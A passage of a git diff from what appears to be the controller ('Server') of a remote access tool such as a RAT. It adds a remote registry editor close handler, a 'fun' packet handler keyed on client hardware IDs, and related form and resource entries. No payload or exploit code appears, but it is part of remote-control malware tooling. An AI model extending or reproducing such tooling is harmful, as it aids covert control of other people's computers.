/wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A//////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ////////////////////////+A//////AP////////////gD/////gB////////////wAf////wAP/// + ////////8AD////4AD///////////+AAP///4AA////////////gAB///8AAP///////////4AAf///g + AD////////////AAD///wAA////////////wAAP//gAAP///////////+AAH//8AAH///////////wAA + Af/+AAD///////////wAAAH//gAA9//////////+AAABf/AAAPz//////////gAAAH/+AACT//////// + //wAAAD/kAAAAH/////////8AAAAPAAAAAA//////////gAAAAAAAAAAP/////////4AAAAAAAAAAD// + ///////+AAAAAAAAAAA//////////gAAAAAAAAAAf/////////+AAAAAAAAAAP/////////5AAAAAAAA + AAH/////////+AAAAAAAAAAAP/////////4AAAAAAAAAAD/////////8AAAAAAAAAAB//////////AAA + AAAAAAAAP/////////gAAAAAAAAAAD/////////4AAAAAAAAAAA//////////AAAAAAAAAAAP/////// + //wAAAAAAAAAAD/////////8AAAAAAAAAAAf/////////AAAAAAAAAAAH/////////wAAAAAAAAAAB// + ///////8AAAAAAAAAAA//////////AAAAAAAAAAAP/////////wAAAAAAAAAAD/////////8AAAAAAAA + AAA//////////AAAAAAAAAAAP/////////4AAAAAAAAAAD/////////8AAAAAAAAAAA//////////AAA + AAAAAAAAP/////////wAAAAAAAAAAD/////////8AAAAAAAAAAA//////////AAAAAAAAAAAP/////// + //wAAAAAAAAAAD/////////+AAAAAAAAAAA//////////gAAAAAAAAAAP/////////4AAAAAAAAAAD// + ///////+AAAAAAAAAAA//////////gAAAAAAAAAAH/////////wAAAAAAAAAAB/////////8AAAAAAAA + AAAf/////////AAAAAAAAAAAH/////////wAAAAAAAAAAB/////////4AAAAAAAAAAAf////////+AAA + AAAAAAAAD/////////AAAAAAAAAAAA/////////wAAAAAAAAAAAH////////8AAAAAAAAAAAA/////// + //AAAAAAAAAAAAP////////wAAAAAAAAAAAD////////4AAAAAAAAAAAA////////+AAAAAAAAAAAAH/ + ///////gAAAAAAAAAAAB////////4AAAAAAAAAAAAP///////+AAAAAAAAAAAAD////////gAAAAAAAA + AAAA////////4AAAAAAAAAAAAP///////+AAAAAAAAAAAAD////////gAAAAAAAAAAAA////////4AAA + AAAAAAAAAP///////+AAAAAAAAAAAAD////////gAAAAAAAAAAAA////////4AAAAAAAAAAAAP////// + /+AAAAAAAAAAAAD////////gAAADAAB4AAAA////////4AAAB+AB/AAAAP///////+AAAB/gAf8AAAD/ + ///////gAAA/4AP/gAAA////////4AAA/+AD/8AAAP///////+AAAf/gA//gAAD////////wAAf/wAP/ + +AAA////////8AAf/8AD//4AAP////////AAf//AA///gAD////////wAf//wAP//8AA////////+A// + /+AD///wAP/////////////gA////AD/////////////4AP///+A/////////////+AB//////////// + ///////gAf//////////////////8AD///////////////////AA///////////////////4AP////// + ////////////+AB///////////////////gAf//////////////////8AD///////////////////gAf + //////////////////4AD//////////////////+AAP//////////////////4AB//////////////// + //+AAH//////////////////wAB//////////////////+AAf//////////////////4AH////////// + /////////gD///////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////8= + + + \ No newline at end of file diff --git a/Server/Forms/FormRegistryEditor.Designer.cs b/Server/Forms/FormRegistryEditor.Designer.cs index 852d858..78920d1 100644 --- a/Server/Forms/FormRegistryEditor.Designer.cs +++ b/Server/Forms/FormRegistryEditor.Designer.cs @@ -619,6 +619,7 @@ namespace Server.Forms this.Name = "FormRegistryEditor"; this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; this.Text = "Registry Editor []"; + this.FormClosed += new System.Windows.Forms.FormClosedEventHandler(this.FormRegistryEditor_FormClosed); this.Load += new System.EventHandler(this.FrmRegistryEditor_Load); this.tableLayoutPanel.ResumeLayout(false); this.tableLayoutPanel.PerformLayout(); diff --git a/Server/Forms/FormRegistryEditor.cs b/Server/Forms/FormRegistryEditor.cs index 3618f3c..3ae6151 100644 --- a/Server/Forms/FormRegistryEditor.cs +++ b/Server/Forms/FormRegistryEditor.cs @@ -784,5 +784,13 @@ namespace Server.Forms } catch { this.Close(); } } + + private void FormRegistryEditor_FormClosed(object sender, FormClosedEventArgs e) + { + ThreadPool.QueueUserWorkItem((o) => + { + Client?.Disconnected(); + }); + } } } diff --git a/Server/Forms/FormRegistryEditor.resx b/Server/Forms/FormRegistryEditor.resx index 813d95d..6c6f55c 100644 --- a/Server/Forms/FormRegistryEditor.resx +++ b/Server/Forms/FormRegistryEditor.resx @@ -125,7 +125,7 @@ AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4w LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0 ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAADm - BwAAAk1TRnQBSQFMAwEBAAGAAQUBgAEFARABAAEQAQAE/wEJAQAI/wFCAU0BNgEEBgABNgEEAgABKAMA + BwAAAk1TRnQBSQFMAwEBAAGIAQUBiAEFARABAAEQAQAE/wEJAQAI/wFCAU0BNgEEBgABNgEEAgABKAMA AUADAAEQAwABAQEAAQgGAAEEGAABgAIAAYADAAKAAQABgAMAAYABAAGAAQACgAIAA8ABAAHAAdwBwAEA AfABygGmAQABMwUAATMBAAEzAQABMwEAAjMCAAMWAQADHAEAAyIBAAMpAQADVQEAA00BAANCAQADOQEA AYABfAH/AQACUAH/AQABkwEAAdYBAAH/AewBzAEAAcYB1gHvAQAB1gLnAQABkAGpAa0CAAH/ATMDAAFm @@ -169,7 +169,7 @@ AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4w LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0 ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAABk - CQAAAk1TRnQBSQFMAgEBAgEAAaABBAGgAQQBEAEAARABAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo + CQAAAk1TRnQBSQFMAgEBAgEAAagBBAGoAQQBEAEAARABAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo AwABQAMAARADAAEBAQABCAYAAQQYAAGAAgABgAMAAoABAAGAAwABgAEAAYABAAKAAgADwAEAAcAB3AHA AQAB8AHKAaYBAAEzBQABMwEAATMBAAEzAQACMwIAAxYBAAMcAQADIgEAAykBAANVAQADTQEAA0IBAAM5 AQABgAF8Af8BAAJQAf8BAAGTAQAB1gEAAf8B7AHMAQABxgHWAe8BAAHWAucBAAGQAakBrQIAAf8BMwMA diff --git a/Server/Handle Packet/HandleFun.cs b/Server/Handle Packet/HandleFun.cs new file mode 100644 index 0000000..50ac6da --- /dev/null +++ b/Server/Handle Packet/HandleFun.cs @@ -0,0 +1,30 @@ +using Server.Forms; +using Server.MessagePack; +using Server.Connection; +using System; +using System.Drawing; +using System.IO; +using System.Windows.Forms; + +namespace Server.Handle_Packet +{ + public class HandleFun + { + public void Fun(Clients client, MsgPack unpack_msgpack) + { + try + { + FormFun fun = (FormFun)Application.OpenForms["fun:" + unpack_msgpack.ForcePathObject("Hwid").AsString]; + if (fun != null) + { + if (fun.Client == null) + { + fun.Client = client; + fun.timer1.Enabled = true; + } + } + } + catch { } + } + } +} diff --git a/Server/Handle Packet/Packet.cs b/Server/Handle Packet/Packet.cs index 503e83a..cb9b156 100644 --- a/Server/Handle Packet/Packet.cs +++ b/Server/Handle Packet/Packet.cs @@ -203,6 +203,12 @@ namespace Server.Handle_Packet new HandleRegManager().RegManager(client, unpack_msgpack); break; } + + case "fun": + { + new HandleFun().Fun(client, unpack_msgpack); + break; + } } })); } diff --git a/Server/Server.csproj b/Server/Server.csproj index df9a65b..adeecb1 100644 --- a/Server/Server.csproj +++ b/Server/Server.csproj @@ -137,6 +137,12 @@ + + Form + + + FormFun.cs + Form @@ -282,6 +288,7 @@ FormRegistryEditor.cs + @@ -365,6 +372,9 @@ + + FormFun.cs + FormRegValueEditBinary.cs